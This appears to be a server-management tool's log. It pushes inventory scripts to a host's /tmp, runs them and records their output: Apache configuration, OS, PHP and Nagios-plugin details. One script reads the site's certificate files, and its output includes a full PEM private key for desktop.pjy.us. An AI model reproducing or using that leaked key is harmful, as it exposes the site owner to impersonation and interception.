    ErrorLog	/var/log/apache2/pjy/desktop_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.chain.crt
</VirtualHost>







2026-06-01 11:04:50: 

PUT: /tmp/pkp751591

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt')
    show_file('/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.chain.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-01 11:04:50: 

chmod 755 /tmp/pkp751591; /tmp/pkp751591; rm /tmp/pkp751591

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt	3543
77:f3:1b:a2:43:09:61:2b:ab:96:fe:57:4b:2c:cd:2f

-----BEGIN CERTIFICATE-----
MIIE9jCCA96gAwIBAgISBpePNiqfm2pl6iXik8lgP+PyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjAxMTAwNjEwWhcNMjYwODMwMTAwNjA5WjAZMRcwFQYDVQQD
Ew5kZXNrdG9wLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMKPpdx1YUdOtyirdYd7Itkkrgszlz/OXiEgkfdp4SK7iqsJcMScidBkeS6rzQYK
aFeGwzIC7PDBS8JTMjnxnLGS+2qNxPPjViTgrPaJ0TEAMNI3Y8d01p/7a1eo+7kB
XW2M/Spafc2eknZUmYTLkj7yC5dfN39ZK30Hte6CcIWV5FaFFqD2+Exc68oQdNJc
BmY6ngGJeYYWN5n+cnkwGTt+PH6XXGlOcrc2fjX9mgBAq43QG0JQ48czVdhvVQC3
nxSiQGCu8/p4FDQARZeLwR6fZvd95s7yejfQQpm3wqykYR+I56easCVr9NfpBU2T
ObIKgP2uYnTSi6+79Pf1nLMCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTokuWG
lCUz2J3NqXbMrGUrQRxjlDAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDmRlc2t0b3AucGp5LnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly95cjIuYy5sZW5jci5vcmcv
MTE1LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB2AMijxH/Hs625NWsBP2p6
Em3jOk5DpcZG+ZetOXWZHc+aAAABnoLbcikAAAQDAEcwRQIge6HQ8rpmKjijZjAF
UcKz2xHi6R2Pl+K5xdFatsoxxZoCIQCxwFJjelwwAi+FyBJwauNkIRw5KYazRQ/X
zoSY/88VgAB9AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnoLb
dfEACAAABQAOZngsBAMARjBEAiBI0T9PcojnPK4kxLSAlWShhfvBf8jJJ6SsDXU+
zs7JhAIgDinnR5MrN4wVT55NP4cEI05MmZblJf9y7v2XzWJPhPIwDQYJKoZIhvcN
AQELBQADggEBACl1/eC8fDM2Cdj1UDGb55VaiZ9dKeKXc4EYO2I65Nr+1BpKtGEv
EYPCFploxC0nzlPTc/KWugNd37zQx40vpY6V+Q/tuoI5/trUkfrc9/2/PLP6QuQj
JV42uOOwOol0CtQNwlWuTiScr6vs+0ru5q5y4Er8ZI1ypQHc2ezXcGxGO84m3Uxf
2el7K0I40Q1FYmyp6EL2lFEAbDS69qHmJXy/MOEKoo81FQAV1RF4x28WfWFQPYoT
q2UjE0L+VeLbXzZ2OX+wN9OsMMIJyt+RkC/cQ9OZKd02rgR2XkzJOjQVshYjbTsf
5cm652rzM5KiRFvHlkT+xlX0tKwHvwlJbnY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDCj6XcdWFHTrco
q3WHeyLZJK4LM5c/zl4hIJH3aeEiu4qrCXDEnInQZHkuq80GCmhXhsMyAuzwwUvC
UzI58ZyxkvtqjcTz41Yk4Kz2idExADDSN2PHdNaf+2tXqPu5AV1tjP0qWn3NnpJ2
VJmEy5I+8guXXzd/WSt9B7XugnCFleRWhRag9vhMXOvKEHTSXAZmOp4BiXmGFjeZ
/nJ5MBk7fjx+l1xpTnK3Nn41/ZoAQKuN0BtCUOPHM1XYb1UAt58UokBgrvP6eBQ0
AEWXi8Een2b3febO8no30EKZt8KspGEfiOenmrAla/TX6QVNkzmyCoD9rmJ00ouv
u/T39ZyzAgMBAAECggEACEGKO0Gr4BfCA/LKqPYbs3UwAX+t8mIycltsdkBC8nNc
3gcnhuBRpMsurUFTEOeOJ/CrBctD/K9nJJbdMcJD8PEYxBvB+Mtz01rJXCja/KZS
bAk3rbYSiXVkx7J/BAm/yi9KauquHfSVqHnMjesJiKxCu6iptTi2dLbIDJfyaGix
9kg41FaAajwaZ1s4oNASThKSpgNHkFpk71+ZlqAKFl6LgBAw7+ZYRqaj11rl61Gl
jKH1IPNLo63UV7CwtdBHe5Qr5TIsLH8QuVOusBG8kDbZFGqOeOu2UtpUt3WYNYRt
0oCB+heN/F5s9jnsGY8eBXDY4Zyji4Bi0SIDZfHGEQKBgQDlG/7lA1JWDNsXkt85
+t+chlHMasQCrPHkJckgjOFXVY3bmMV03HZrlN/Lw920OsCnra0dVWjkl2OgSRKR
iJ2SJYta98RBB98SkIMlQhBq0ZybJj1G7KqB6i/tyvgPj3y+0jwOSwCHPGwtWck7
qvx/wjglEc0tB30s3182gETzSQKBgQDZZZaRqvXY87McV9BMmtm+pHROFUJTz0vK
UOcUCudQ6Uln7gqEZoYVlj3MIQy5qHOCDgZLExG8FRKhQq3TWRSvJRCANaMMLX1e
wqhMRCL/9Z1TklJPG/tEYRTRd4u4WcJYHQivg60GB25OA7Q9TTxG0aPvQaAc1gEc
w5UfrfxUGwKBgQCuLNVgB2Ft98IMLuUzr+yVk2vWSwiOvCn891jrPQ8HFQyOeJsM
l5oTeY+V2mbO4KecEiX8mfTva8Qak9Lg/wpDk/VYh+oUQkatV13MUmgmvQogzTZi
mAOcVoxvbBGfysbcTvnHJ+/T3/ShmZOpn/jrq5yBWgIwjHP2TC6XQXapuQKBgQCs
8mWDgzdMHivKi42Zs8MwKBKin8UBebN4wz3iMv5s3vpX5QaW6B0ZhUmqYEyIUpt5
xoB5LzV3pGgKxEoXDhInd9wVsxYANRw8y60p5zbU2+gKOSij6MXPU1BFh84unbG/
eXGUd7OpTTYSeF3mOtCOIm9BgrrG1fVSlcHHzxkjKwKBgQCJkgy3C7qMZ987BbP4
3Rff7PTi6AeH2+YYGkWOhr03/yjBESpcdAw4M3pWx1prcIyumshiz9DXdu4v28Ee
Zh91npxnf36UO9YTZ9gtlS9D27Whf4K8IAyNfdZ74MFOpYJRNCRIJ89e6KV1DKEG
3uepKW/ckPxW16h5DGo0qN7rWQ==
-----END PRIVATE KEY-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.chain.crt	2






2026-06-01 11:43:54: Establishing a connection
2026-06-01 11:45:39: Establishing a connection
2026-06-01 11:45:39: Performing Server Status
2026-06-01 11:45:39: 

PUT: /tmp/pkp344316

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-06-01 11:45:39: 

chmod 755 /tmp/pkp344316; /tmp/pkp344316; rm /tmp/pkp344316

2026-06-01 11:45:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-124-generic



2026-06-01 11:45:39: 

PUT: /tmp/pkp229932

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-06-01 11:45:39: 

chmod 755 /tmp/pkp229932; /tmp/pkp229932; rm /tmp/pkp229932

2026-06-01 11:45:40: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-05-05T13:22:45
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 938
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         938  0.0  0.9 324956 39660 ?        Ss   May31   0:09 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-06-01 11:45:40: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-06-01 11:45:40: 

PUT: /tmp/pkp989356

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-06-01 11:45:40: 

chmod 755 /tmp/pkp989356; /tmp/pkp989356; rm /tmp/pkp989356

2026-06-01 11:45:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-06-01 11:45:40: 

PUT: /tmp/pkp300727

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-06-01 11:45:40: 

chmod 755 /tmp/pkp300727; /tmp/pkp300727; rm /tmp/pkp300727

2026-06-01 11:45:40: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.31
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.31
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.21


2026-06-01 11:45:40: 

PUT: /tmp/pkp290750

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-06-01 11:45:40: 

chmod 755 /tmp/pkp290750; /tmp/pkp290750; rm /tmp/pkp290750

2026-06-01 11:45:40: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
